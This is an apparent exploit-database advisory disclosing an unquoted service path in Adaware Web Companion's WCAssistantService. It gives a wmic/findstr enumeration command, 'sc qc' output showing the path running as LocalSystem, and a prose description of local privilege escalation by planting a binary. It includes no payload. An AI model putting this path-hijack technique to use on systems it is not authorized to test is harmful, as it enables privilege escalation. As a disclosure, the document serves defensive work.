Share
# Exploit Title: Adaware Web Companion version 4.8.2078.3950 - 'WCAssistantService' Unquoted Service Path  
# Date: 2019-11-06  
# Exploit Author: Mariela L Martínez Hdez  
# Vendor Homepage: https://webcompanion.com/en/  
# Software Link: https://webcompanion.com/en/  
# Version: Adaware Web Companion version 4.8.2078.3950  
# Tested on: Windows 10 Home (64 bits)  
  
# 1. Description  
# Adaware Web Companion version 4.8.2078.3950 service 'WCAssistantService' has an unquoted service path.  
  
# 2. PoC  
  
C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V """"  
  
WC Assistant WCAssistantService C:\Program Files (x86)\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe Auto  
  
C:\>sc qc WCAssistantService  
[SC] QueryServiceConfig CORRECTO  
  
NOMBRE_SERVICIO: WCAssistantService  
TIPO : 10 WIN32_OWN_PROCESS  
TIPO_INICIO : 2 AUTO_START  
CONTROL_ERROR : 1 NORMAL  
NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe  
GRUPO_ORDEN_CARGA :  
ETIQUETA : 0  
NOMBRE_MOSTRAR : WC Assistant  
DEPENDENCIAS :  
NOMBRE_INICIO_SERVICIO: LocalSystem  
  
  
  
# 3. Exploit  
# A successful attempt would require the local user to be able to insert their code in the system   
# root path undetected by the OS or othersecurity applications where it could potentially be executed   
# during application startup or reboot. If successful, the local user's code would execute with   
# the elevated privileges of the application.